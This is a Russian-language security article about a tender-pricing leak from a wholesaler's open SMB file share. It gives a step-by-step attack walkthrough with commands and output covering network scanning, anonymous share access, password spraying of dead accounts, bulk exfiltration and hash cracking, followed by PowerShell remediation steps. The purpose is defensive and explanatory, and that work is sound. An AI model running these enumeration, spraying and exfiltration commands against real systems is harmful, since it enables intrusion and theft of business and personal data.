История простая до банальности: оптовый поставщик оборудования, около 60 сотрудников, обычная общая папка на файловом сервере, куда «временно» скидывали всё подряд — от прайсов до сканов паспортов клиентов на рассрочку. За три года список тех, кто мог туда зайти, никто не пересматривал. Итог — слитый тендер на 4,1 млн рублей и потенциальный штраф за утечку персональных данных сверху. Разберём этот случай не как менеджерскую историю про «наведение порядка», а как техническую цепочку: что именно позволяло такую атаку провести, какими инструментами это делается на практике и что закрывает дыру по-настоящему, а не косметически.
Что представляла собой дыра технически
«Общая папка на сервере» в 9 случаях из 10 — это SMB-шара на Windows Server или NAS, где на уровне NTFS стоит группа Everyone: Full Control или Authenticated Users: Modify, а сама шара расшарена без ограничения по группам безопасности. Добавьте сюда типичные для малого и среднего бизнеса особенности:
- гостевой доступ (Guest access) не отключён на файловом сервере;
- учётные записи уволенных сотрудников не блокируются, а просто «забываются» в Active Directory или локальной группе пользователей;
- подрядчики получают доступ через общий логин/пароль, который потом никто не меняет;
- SMBv1 всё ещё включён «для совместимости со старым принтером», хотя официально устарел ещё с MS17-010 (EternalBlue, CVE-2017-0144).
В такой конфигурации файловый сервер не требует эксплойта нулевого дня — он открыт по дизайну. Задача атакующего не «взломать», а «обнаружить и прочитать».
Как это эксплуатируется — по шагам
Ниже — типичная последовательность действий при аудите (или атаке) такой инфраструктуры, если атакующий получил доступ к сети хотя бы одним слабым звеном: Wi-Fi для гостей без изоляции, забытая VPN-учётка подрядчика или просто физическое подключение к розетке в переговорке.
1. Разведка сети и поиск файловых сервисов
nmap -p 139,445 --open -T4 192.168.10.0/24 -oG smb_hosts.txt
Nmap scan report for 192.168.10.15
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Дальше — детализация версии и списка шар без единой учётной записи:
nmap -p 445 --script smb-os-discovery,smb-enum-shares,smb-protocols 192.168.10.15
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but reachable]
| 2.02
| 3.1.1
| smb-enum-shares:
| \\192.168.10.15\OBMEN:
| Type: STYPE_DISKTREE
| Comment: for обмен файлами
| Anonymous access: READ/WRITE
Строка Anonymous access: READ/WRITE — это и есть диагноз. Дальше можно даже не искать креды.
2. Подключение и перечисление содержимого
smbclient -N -L //192.168.10.15
Sharename Type Comment
--------- ---- -------
OBMEN Disk for обмен файлами
IPC$ IPC Remote IPC
smbclient -N //192.168.10.15/OBMEN
smb: \> dir
Тендер_расчет_себестоимости.xlsx A 142336 Пт мар 14 09:12:01 2025
Паспорта_клиентов_рассрочка D 0 Ср янв 22 11:03:44 2025
КП_архив D 0 Вт фев 04 15:47:19 2024
При заблокированном анонимном доступе задача сводится к перебору учётной записи любого из «мёртвых» аккаунтов — уволенного менеджера, бывшего подрядчика, забытого практиканта. Такие пароли почти всегда простые и не менялись годами:
crackmapexec smb 192.168.10.0/24 -u users.txt -p passwords.txt --shares --continue-on-success
SMB 192.168.10.15 445 FILESRV [+] DOMAIN\ivanov_m:Ivanov2022 (Pwn3d!)
SMB 192.168.10.15 445 FILESRV [+] OBMEN READ,WRITE
Учётка уволенного «ivanov_m» с паролем, который никто не отозвал, — классика. Дополнительно можно прогнать enum4linux -a 192.168.10.15, чтобы вытащить список пользователей домена и политику паролей — это подскажет, кого перебирать в первую очередь и с какими масками.
3. Массовая выгрузка
smbclient -N //192.168.10.15/OBMEN -c "prompt OFF; recurse ON; mget *"
Или через смонтированную шару, если удобнее работать локально:
mount -t cifs //192.168.10.15/OBMEN /mnt/obmen -o username=ivanov_m,password=Ivanov2022,domain=DOMAIN
rsync -av /mnt/obmen/ ./exfil/
Дальнейший поиск чувствительных данных в выгрузке автоматизируется:
grep -ril "себестоимост\|паспорт\|расчет цены" ./exfil/ | tee sensitive_files.txt
Именно так в реальном кейсе всплыл файл с расчётом себестоимости конкретного тендера — обычный поиск по ключевым словам среди тысяч файлов, лежавших в открытом доступе три года.
Что и почему сработало бы дальше
Утечка одного файла с расчётом себестоимости — это только первый слой. Дальше атака (или недобросовестный бывший сотрудник) закономерно развивается:
- Использование ценовой информации напрямую — конкурент выставляет предложение на 2-3% ниже, зная точную структуру себестоимости, как это и произошло в кейсе.
- Кража учётных данных из файлов — в общих папках почти всегда находятся забытые конфиги, .bak-файлы 1С, экспортированные пароли в Excel «на всякий случай». Извлечённые хэши прогоняются через
hashcat -m 1000 hashes.txt rockyou.txtили подбираются по корпоративным паттернам — и это уже путь в 1С, бухгалтерию, банк-клиент. - Использование персональных данных клиентов — сканы паспортов из папки «Паспорта_клиентов_рассрочка» — готовый материал для оформления фиктивных микрозаймов или для целевого фишинга под видом банка/приставов.
- Горизонтальное перемещение — если в шаре найден скрипт с встроенным сервисным паролем (частая практика для «автоматизации» бэкапов), это прямой путь к контроллеру домена: инструменты вроде
BloodHoundиsecretsdump.pyиз набора Impacket превращают один слитый пароль в карту всей инфраструктуры.
Ключевой момент: ни один из этих шагов не требует эксплойта. Всё строится на избыточных правах и отсутствии процесса отзыва доступа — то есть на организационной дыре, которую техническими средствами закрыть невозможно без изменения процесса.
Как закрыть — по существу, а не «для галочки»
1. Аудит и пересборка прав на уровне NTFS/AD
# Windows Server, PowerShell: выгрузка эффективных прав на шару
Get-Acl "\\FILESRV\OBMEN" | Format-List
icacls "D:\Shares\OBMEN" /reset
icacls "D:\Shares\OBMEN" /grant "DOMAIN\Sales":(OI)(CI)M
icacls "D:\Shares\OBMEN" /remove "Everyone" "Authenticated Users"
Разделение по отделам должно жить не на честном слове, а в группах безопасности AD: своя группа под продажи, своя под бухгалтерию, доступ выдаётся через членство в группе, а не персонально.
2. Отключение устаревших протоколов и анонимного доступа
# Отключить SMBv1 на сервере
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
# Запретить анонимный доступ к шарам
Set-SmbServerConfiguration -RestrictNullSessAccess $true -Confirm:$false
3. Автоматизация деактивации учёток при увольнении
# Скрипт для HR-триггера: блокировка учётки в день увольнения
Disable-ADAccount -Identity ivanov_m
Get-ADPrincipalGroupMembership ivanov_m | Remove-ADGroupMember -Members ivanov_m -Confirm:$false
Правило простое: отдел кадров и ИТ работают по единому чек-листу увольнения, а не по памяти. Доступ закрывается день в день, а не «когда вспомнят», — это единственная мера, которая реально убирает 90% подобных инцидентов.
4. Регулярный аудит доступа и мониторинг
# Периодическая проверка списка пользователей с доступом к шаре
Get-SmbShareAccess -Name "OBMEN"
# Включение аудита доступа к файлам через групповую политику
auditpol /set /subcategory:"File System" /success:enable /failure:enable
Дополнительно стоит настроить уведомления о новых подключениях (как это было сделано в кейсе через мессенджер) и раз в квартал сверять список доступов со штатным расписанием и реестром действующих договоров с подрядчиками — вручную или через недорогие DLP/аудит-инструменты вроде Netwrix Auditor.
5. Защита персональных данных отдельным контуром
Сканы паспортов и другие персональные данные клиентов не должны лежать в общей рабочей папке в принципе — для них нужен отдельный ресурс с ограниченным списком доступа, шифрованием на уровне диска (BitLocker/EFS) и логированием каждого обращения, поскольку это прямая зона ответственности по 152-ФЗ.
Стоимость всех этих мер — часы работы ИТ-специалиста и отсутствие затрат на лицензии, если используется штатный функционал Windows Server и Active Directory. Стоимость их отсутствия в данном случае составила 4,1 млн рублей за один тендер — и это без учёта риска штрафа за утечку персональных данных, который считается отдельно и может оказаться сопоставимым.
